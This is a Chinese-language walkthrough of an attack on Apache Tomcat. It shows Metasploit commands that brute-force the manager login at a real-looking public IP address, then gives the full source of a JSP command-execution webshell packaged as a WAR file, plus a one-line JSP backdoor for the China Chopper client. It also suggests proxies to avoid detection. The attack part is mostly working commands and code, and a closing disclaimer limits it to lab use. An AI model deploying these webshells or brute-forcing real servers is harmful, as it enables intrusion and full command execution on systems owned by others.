利用Metasploit破解Tomcat登录密码并通过部署war包获得Getshell实战
Apache Tomcat 是世界上使用最广泛的Java Web应用服务器之一,绝大数人都会使用Tomcat的默认配置。然而默认配置中会有一个向外网开放的Web应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。 本次实战中,我将要执行下面几个步骤:
1、Msf环境准备
2、实战演练
3、原理剖析
4、Getshell
Msf环境准备
如果你是第一次运行msf,你需要先启动数据库服务并初始化(msf使用的是PostgreSQL数据库来存储日志和结果)
启动PostgreSQL:
1 service postgresql start
创建并初始化数据库:(kali 默认已经初始化数据库)
1 msfdb init
然后就可以启动msf了:
1 msfconsole
实战演练
在此之前,我想先说一下,在暴力破解账号密码时同样可以使用hydra和burp,不同攻击都有不同方法,这次我仅仅谈论Metasploit下的相关模块,来进行针对性破解。
1、靶机xxx有一个Tomcat服务,默认为8080端口,浏览器访问:http://219.153.49.228:40033/manager/html
2、可以看到弹出了一个认证界面,要求输入账号密码,抛开实验环境来谈,我并不知道目标账号密码,那么现在我可以使用利器metasploit来破解账号密码。
3、打开终端,输入msfconsole启动metasploit:
4、待启动后,我需要加载Tomcat爆破模块,输入以下命令:
1 use auxiliary/scanner/http/tomcat_mgr_login
5、我可以使用以下命令,查看该模块具体需要哪些参数:
1 show options
6、现在可以设置目标IP了,输入以下内容:
1 set RHOSTS 目标IP地址
7、为了使运行速度快一点(也不能太快),可以使用以下命令设置线程:
1 set THREADS 5
8、为了不使我的服务器因为大量的请求而崩溃,破解速度我设置低一些:
1 set BRUTEFORCE_SPEED 3
9、查看修改后的选项:
1 show option
10、其余的参数使用默认值,设置完成后,输入run来启动攻击
11、经过一些失败的结果,终于发现了有效的密码(绿色的结果),因为我默认设置的为admin:123456,很快就成功啦!哈哈哈,但是实际情况中呢,不一定什么时候成功,多半要参与一些社工技巧,这个就自由发挥吧,当然运气也很重要呀。
12、手动输入密码进行验证,登录成功!接下来,该尝试War包部署,并且Getshell了,继续往下看吧。
原理剖析
默认情况下,Tomcat服务会开启在8080端口,管理界面目录在/manager/html,该应用使用的是基础的HTTP认证。
下面对刚刚使用的Tomcat_mgr_login模块进行详解:
1**BALNK_PASSWORDS**:为每个账号提供一个空密码测试
2**PASSWORD**:设置这个可以只针对该密码进行多用户测试
3**PASS_FILE**:输入你想要使用的密码字典路径
4**Proxies**:为了避免被检测到源地址,可以使用代理功能
5**RHOSTS**:填写要被测试的主机地址(可以是多个,以空格分隔。也可以是一个清单文件)
6**RPORT**:设置目标Tomcat运行的端口
7**STOP_ON_SUCCESS**:当破解成功后停止攻击
8**TARGERURI**:可设置管理界面的目录路径
9**USERNAME**:设置要测试的用户名字(可以是单个,也可以是一个字典)10**USER_PASS_FILE**:使用 "用户名/密码" 格式的字典文件11**USER_AS_PASS**:尝试使用测试中的用户名作为密码
GetShell
一旦我们成功将进入Tomcat管理界面,就能看到并操作安装在上面的应用。此外我们还可以上传自己的应用,既然这样我们就构造一个能在目标服务器执行命令的WebShell来获取目标服务器权限。
已经成功进入 Tomcat web应用程序管理界面了,下面让我开始部署War包,来Getshell吧。
1、首先创建一个名为mt.jsp的文件,并写入以下内容:
1<%@ page import="java.util.*,*"%>
2<%
3//
4// JSP_KIT
5//
6// cmd.jsp = Command Execution (unix)
7//
8// by: Unknown
9// modified: 27/06/200310//
11%>
12<HTML><BODY>
13<FORM METHOD="GET" NAME="myform" ACTION="">
14<INPUT TYPE="text" NAME="cmd">
15<INPUT TYPE="submit" VALUE="Send">
16</FORM>
17<pre>
18<%
19if (request.getParameter("cmd") != null) {
20 out.println("Command: " + request.getParameter("cmd") + "<BR>");
21 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
22 OutputStream os = p.getOutputStream();
23 InputStream in = p.getInputStream();
24 DataInputStream dis = new DataInputStream(in);
25 String disr = dis.readLine();
26 while ( disr != null ) {
27 out.println(disr);
28 disr = dis.readLine();
29 }
30 }
31%>
32</pre>
33</BODY></HTML>
2、写入完成,开始将该文件压缩为zip文件,名字随便起,我用的是mt.zip,然后我要将,.zip后缀名改为.war。
3、此时,我war也配置完成啦,进一步就是把它上传到服务器上了,通过上面看到的Tomcat web应用程序管理里面下的 WAR file to deploy,这时,操作比较简单。
4、下面,我选择刚才更改后缀名为war的那个文件,点击部署,如图:
选择文件-->上传文件-->显示OK-->上传成功
5、此时,状态码显示为OK,即为部署成功。
6、这个时候,我需要访问这个文件,以我的示例来说,我要访问的路径为http://219.153.49.228:45588/mt/mt.jsp,这个相对路径,即使你部署war的路径,index.jsp是我最开始编写代码的文件,这是都可以根据你自己来更改,自己知道就好啦,最后显示如下图:
7、在执行ip a命令时,如果使用的是火狐浏览器,只需将编码设置为简体中文即可,如图:
网上有很多JSP木马,包括一起功能齐全的大马,自己可以去找一下,来过过瘾,下面是通过菜刀连接一句话木马。
菜刀连接一句话木马
1、同上,编写一个jsp脚本,这次名为mt.jsp,内容写入:
<%Runtime.getRuntime().exec(request.getParameter("mt"));%>
2、同样是压缩为zip文件,并且后缀改为.war,不多赘述,直接上传,这次我上传后的路径为:http://219.153.49.228:45588/mt/mt.jsp
3、使用中国菜刀连接,密码为mt,连接成功。
最后,本次实验仅是仅供实验,切勿用于实战,否则后果自负!